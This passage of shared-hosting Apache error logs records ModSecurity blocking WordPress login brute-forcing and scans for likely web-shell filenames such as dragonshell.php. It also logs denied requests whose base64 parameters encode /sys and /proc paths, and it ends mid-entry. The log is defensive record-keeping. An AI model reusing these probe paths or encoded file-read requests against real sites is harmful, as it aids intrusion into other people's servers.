https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:07:42.183021 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.108:30377] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:42.183290 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.108:30377] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:42.212283 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:42.212666 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:42.252380 2026] [security2:error] [pid 531797:tid 532124] [client 148.113.209.179:59394] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wzsTA7b1mZrmcA-8KIgAAAo8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:42.302344 2026] [security2:error] [pid 531797:tid 532004] [client 20.151.217.54:61805] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/htto.php"] [unique_id "ai3wzsTA7b1mZrmcA-8KJAAAAhw"] [Sat Jun 13 18:07:42.302832 2026] [security2:error] [pid 531797:tid 532008] [client 172.171.3.232:25657] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/24name.php"] [unique_id "ai3wzsTA7b1mZrmcA-8KJQAAAiA"] [Sat Jun 13 18:07:42.507549 2026] [security2:error] [pid 531155:tid 531317] [client 172.171.3.232:34855] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/a1.php"] [unique_id "ai3wzimiP80klyS0NnrmEwAAASo"] [Sat Jun 13 18:07:42.607057 2026] [security2:error] [pid 531797:tid 532081] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/mcrypt/tests/mcrypt_cbc_variation5.phpt"] [unique_id "ai3wzsTA7b1mZrmcA-8KLwAAAmc"] [Sat Jun 13 18:07:42.617115 2026] [security2:error] [pid 531797:tid 532075] [client 148.113.209.179:59402] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wzsTA7b1mZrmcA-8KMAAAAmE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:42.653431 2026] [security2:error] [pid 531155:tid 531207] [remote 17.22.237.45:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 45.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wzimiP80klyS0NnrmFgABgTM"] [Sat Jun 13 18:07:42.675344 2026] [security2:error] [pid 531797:tid 532007] [client 20.9.67.71:64742] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/dragonshell.php"] [unique_id "ai3wzsTA7b1mZrmcA-8KMgAAAh8"] [Sat Jun 13 18:07:42.687474 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:42.687772 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:42.724220 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:42.724512 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:42.789786 2026] [security2:error] [pid 531155:tid 531336] [client 20.151.217.54:61814] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/mg.php"] [unique_id "ai3wzimiP80klyS0NnrmGwAAAT0"] [Sat Jun 13 18:07:42.829739 2026] [security2:error] [pid 531155:tid 531235] [remote 17.241.219.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wzimiP80klyS0NnrmHQABLk8"] [Sat Jun 13 18:07:42.842778 2026] [security2:error] [pid 531797:tid 532109] [client 148.113.209.179:59416] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wzsTA7b1mZrmcA-8KNgAAAoI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:42.957032 2026] [security2:error] [pid 531797:tid 531880] [remote 152.53.111.131:57160] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nucreativesolutions.com"] [uri "/wp-login.php"] [unique_id "ai3wzsTA7b1mZrmcA-8KOQACQxA"], referer: https://nucreativesolutions.com/wp-login.php [Sat Jun 13 18:07:43.044567 2026] [security2:error] [pid 531155:tid 531334] [client 20.151.217.54:58181] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/spawns.php"] [unique_id "ai3wzymiP80klyS0NnrmIgAAATs"] [Sat Jun 13 18:07:43.103591 2026] [security2:error] [pid 531155:tid 531339] [client 20.9.67.71:64727] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/samll.php"] [unique_id "ai3wzymiP80klyS0NnrmJAAAAUA"] [Sat Jun 13 18:07:43.139823 2026] [security2:error] [pid 531155:tid 531248] [remote 17.241.227.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wzymiP80klyS0NnrmJwABYFw"] [Sat Jun 13 18:07:43.177299 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:07:43.177602 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:07:43.235678 2026] [security2:error] [pid 531797:tid 532060] [client 20.151.217.54:58234] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/dragonshell.php"] [unique_id "ai3wz8TA7b1mZrmcA-8KQwAAAlI"] [Sat Jun 13 18:07:43.294814 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.21:34845] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:43.295227 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.21:34845] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:43.295710 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMg== [Sat Jun 13 18:07:43.296002 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMg== [Sat Jun 13 18:07:43.330795 2026] [security2:error] [pid 531797:tid 531949] [remote 195.142.108.235:49470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.108.142.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "isesurveys.ca"] [uri "/wp-login.php"] [unique_id "ai3wz8TA7b1mZrmcA-8KRQACh1U"] [Sat Jun 13 18:07:43.334685 2026] [access_compat:error] [pid 531797:tid 531975] [remote 57.141.14.45:38770] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:43.334973 2026] [access_compat:error] [pid 531797:tid 531975] [remote 57.141.14.45:38770] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:43.399519 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.101:57058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:43.399809 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.101:57058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:43.426628 2026] [access_compat:error] [pid 531797:tid 531881] [remote 57.141.14.26:22264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:43.427079 2026] [access_compat:error] [pid 531797:tid 531881] [remote 57.141.14.26:22264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:43.450821 2026] [security2:error] [pid 531155:tid 531288] [client 191.234.188.123:47941] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/f222.php"] [unique_id "ai3wzymiP80klyS0NnrmMAAAAQ0"] [Sat Jun 13 18:07:43.551246 2026] [security2:error] [pid 531155:tid 531282] [remote 17.22.237.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wzymiP80klyS0NnrmNQABEn4"] [Sat Jun 13 18:07:43.556914 2026] [security2:error] [pid 531155:tid 531329] [client 20.151.217.54:58197] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/samll.php"] [unique_id "ai3wzymiP80klyS0NnrmNwAAATY"] [Sat Jun 13 18:07:43.676839 2026] [access_compat:error] [pid 531155:tid 531180] [remote 57.141.14.80:52839] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:43.677291 2026] [access_compat:error] [pid 531155:tid 531180] [remote 57.141.14.80:52839] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:43.740254 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:07:43.740677 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:07:43.861050 2026] [security2:error] [pid 531155:tid 531396] [client 191.233.234.186:44287] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/samll.php"] [unique_id "ai3wzymiP80klyS0NnrmRgAAAXk"] [Sat Jun 13 18:07:43.879252 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMQ== [Sat Jun 13 18:07:43.879589 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMQ== [Sat Jun 13 18:07:43.989532 2026] [security2:error] [pid 531155:tid 531388] [client 20.151.217.54:58229] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/Cap.php"] [unique_id "ai3wzymiP80klyS0NnrmTQAAAXE"] [Sat Jun 13 18:07:43.995503 2026] [security2:error] [pid 531797:tid 531927] [remote 74.208.38.160:33496] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.38.208.74.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "pys.tlq.mybluehost.me"] [uri "/wp-login.php"] [unique_id "ai3wz8TA7b1mZrmcA-8KXwACZD8"] [Sat Jun 13 18:07:44.253914 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS81Mw== [Sat Jun 13 18:07:44.254354 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS81Mw== [Sat Jun 13 18:07:44.268491 2026] [access_compat:error] [pid 531155:tid 531268] [remote 57.141.14.27:26624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:44.268907 2026] [access_compat:error] [pid 531155:tid 531268] [remote 57.141.14.27:26624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:44.300974 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:44.301388 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:44.371455 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2xpYmF0YQ== [Sat Jun 13 18:07:44.371917 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2xpYmF0YQ== [Sat Jun 13 18:07:44.462019 2026] [access_compat:error] [pid 531797:tid 531945] [remote 216.73.217.87:61587] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:44.462301 2026] [access_compat:error] [pid 531797:tid 531945] [remote 216.73.217.87:61587] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:44.480727 2026] [security2:error] [pid 531797:tid 532048] [client 